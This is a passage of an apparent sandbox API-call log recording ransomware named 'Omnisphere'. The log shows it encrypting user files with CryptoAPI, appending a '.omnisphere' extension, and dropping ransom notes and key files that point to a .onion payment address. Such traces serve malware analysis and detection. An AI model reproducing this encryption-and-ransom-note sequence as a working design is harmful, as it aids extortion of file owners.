pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.798] CryptDestroyKey (hKey=0x1639528) returned 1 [0128.798] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0128.799] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x64c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.799] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.799] GetProcessHeap () returned 0x1600000 [0128.799] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x304) returned 0x1713e08 [0128.799] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\9d1f905ce5044aee.customDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\9d1f905ce5044aee.customdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\9d1f905ce5044aee.customDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\9d1f905ce5044aee.customdestinations-ms.omnisphere")) returned 1 [0128.800] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\9d1f905ce5044aee.customDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\9d1f905ce5044aee.customDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\9d1f905ce5044aee.customDestinations-ms.omnisphere.id" [0128.800] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\9d1f905ce5044aee.customDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\9d1f905ce5044aee.customdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.801] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.802] CloseHandle (hObject=0x388) returned 1 [0128.802] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.802] CloseHandle (hObject=0x3c0) returned 1 [0128.802] SetEndOfFile (hFile=0x288) returned 1 [0128.802] FlushFileBuffers (hFile=0x288) returned 1 [0128.810] CloseHandle (hObject=0x288) returned 1 [0128.811] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\9d1f905ce5044aee.customDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0128.811] GetProcessHeap () returned 0x1600000 [0128.811] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1724730 [0128.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.811] GetProcessHeap () returned 0x1600000 [0128.811] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdd48 [0128.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdd48, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.811] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.811] GetProcessHeap () returned 0x1600000 [0128.811] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710320 [0128.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710320, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.811] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.812] GetProcessHeap () returned 0x1600000 [0128.812] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd6) returned 0x16feec8 [0128.812] PathCombineW (in: pszDest=0x16feec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.812] GetProcessHeap () returned 0x1600000 [0128.812] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17154b0 [0128.812] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.812] WriteFile (in: hFile=0x288, lpBuffer=0x17154b0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x17154b0*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.812] CloseHandle (hObject=0x288) returned 1 [0128.812] GetProcessHeap () returned 0x1600000 [0128.812] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1724730 | out: hHeap=0x1600000) returned 1 [0128.812] GetProcessHeap () returned 0x1600000 [0128.813] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xcc) returned 0x16241b0 [0128.813] PathCombineW (in: pszDest=0x16241b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key" [0128.813] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.813] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.813] CloseHandle (hObject=0x288) returned 1 [0128.813] GetProcessHeap () returned 0x1600000 [0128.813] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16241b0 | out: hHeap=0x1600000) returned 1 [0128.813] GetProcessHeap () returned 0x1600000 [0128.813] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.813] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf9a81f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe959cb77, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe959cb77, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0xcc, cFileName="f01b4d95cf55d32a.customDestinations-ms", cAlternateFileName="F01B4D~1.CUS")) returned 1 [0128.813] GetProcessHeap () returned 0x1600000 [0128.813] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf4) returned 0x160e0d8 [0128.813] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="f01b4d95cf55d32a.customDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms" [0128.814] StrStrW (lpFirst=".omnisphere", lpSrch=".customDestinations-ms") returned 0x0 [0128.814] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\f01b4d95cf55d32a.customdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.814] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=24) returned 1 [0128.814] GetTickCount () returned 0x116022a [0128.814] GetTickCount () returned 0x116022a [0128.814] GetTickCount () returned 0x116022a [0128.814] GetTickCount () returned 0x116022a [0128.814] GetTickCount () returned 0x116022a [0128.814] GetTickCount () returned 0x116022a [0128.814] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.815] GetTickCount () returned 0x116022a [0128.816] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668bd0) returned 1 [0128.816] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639868) returned 1 [0128.817] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.817] CryptDestroyKey (hKey=0x1639868) returned 1 [0128.818] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0128.818] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18, lpName=0x0) returned 0x3c0 [0128.818] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18) returned 0x1480000 [0128.819] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668240) returned 1 [0128.819] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639628) returned 1 [0128.819] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.819] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.819] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.820] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.820] CryptDestroyKey (hKey=0x1639628) returned 1 [0128.820] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0128.820] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.820] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.822] GetProcessHeap () returned 0x1600000 [0128.822] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x304) returned 0x1724730 [0128.822] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\f01b4d95cf55d32a.customdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\f01b4d95cf55d32a.customdestinations-ms.omnisphere")) returned 1 [0128.823] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms.omnisphere.id" [0128.823] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\f01b4d95cf55d32a.customdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.824] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.825] CloseHandle (hObject=0x388) returned 1 [0128.825] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.825] CloseHandle (hObject=0x3c0) returned 1 [0128.825] SetEndOfFile (hFile=0x288) returned 1 [0128.825] FlushFileBuffers (hFile=0x288) returned 1 [0128.828] CloseHandle (hObject=0x288) returned 1 [0128.828] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0128.828] GetProcessHeap () returned 0x1600000 [0128.828] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1724a40 [0128.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.828] GetProcessHeap () returned 0x1600000 [0128.828] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fde38 [0128.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fde38, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.829] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.829] GetProcessHeap () returned 0x1600000 [0128.829] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710340 [0128.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710340, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.829] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.829] GetProcessHeap () returned 0x1600000 [0128.829] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd6) returned 0x1714118 [0128.829] PathCombineW (in: pszDest=0x1714118, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.829] GetProcessHeap () returned 0x1600000 [0128.829] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1716608 [0128.829] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.829] WriteFile (in: hFile=0x288, lpBuffer=0x1716608*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1716608*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.829] CloseHandle (hObject=0x288) returned 1 [0128.829] GetProcessHeap () returned 0x1600000 [0128.830] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1724a40 | out: hHeap=0x1600000) returned 1 [0128.830] GetProcessHeap () returned 0x1600000 [0128.830] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xcc) returned 0x16241b0 [0128.830] PathCombineW (in: pszDest=0x16241b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key" [0128.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.830] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.830] CloseHandle (hObject=0x288) returned 1 [0128.830] GetProcessHeap () returned 0x1600000 [0128.830] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16241b0 | out: hHeap=0x1600000) returned 1 [0128.830] GetProcessHeap () returned 0x1600000 [0128.830] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.830] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b77e1, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x25632b00, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x25632b00, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0xcc, cFileName="f18460fded109990.customDestinations-ms", cAlternateFileName="F18460~1.CUS")) returned 1 [0128.830] GetProcessHeap () returned 0x1600000 [0128.830] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf4) returned 0x160e0d8 [0128.830] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="f18460fded109990.customDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f18460fded109990.customDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f18460fded109990.customDestinations-ms" [0128.830] StrStrW (lpFirst=".omnisphere", lpSrch=".customDestinations-ms") returned 0x0 [0128.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f18460fded109990.customDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\f18460fded109990.customdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.834] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=24) returned 1 [0128.834] GetTickCount () returned 0x116023a [0128.834] GetTickCount () returned 0x116023a [0128.834] GetTickCount () returned 0x116023a [0128.834] GetTickCount () returned 0x116023a [0128.834] GetTickCount () returned 0x116023a [0128.834] GetTickCount () returned 0x116023a [0128.834] GetTickCount () returned 0x116023a [0128.834] GetTickCount () returned 0x116023a [0128.834] GetTickCount () returned 0x116023a [0128.834] GetTickCount () returned 0x116023a [0128.834] GetTickCount () returned 0x116023a [0128.834] GetTickCount () returned 0x116023a [0128.834] GetTickCount () returned 0x116023a [0128.834] GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] 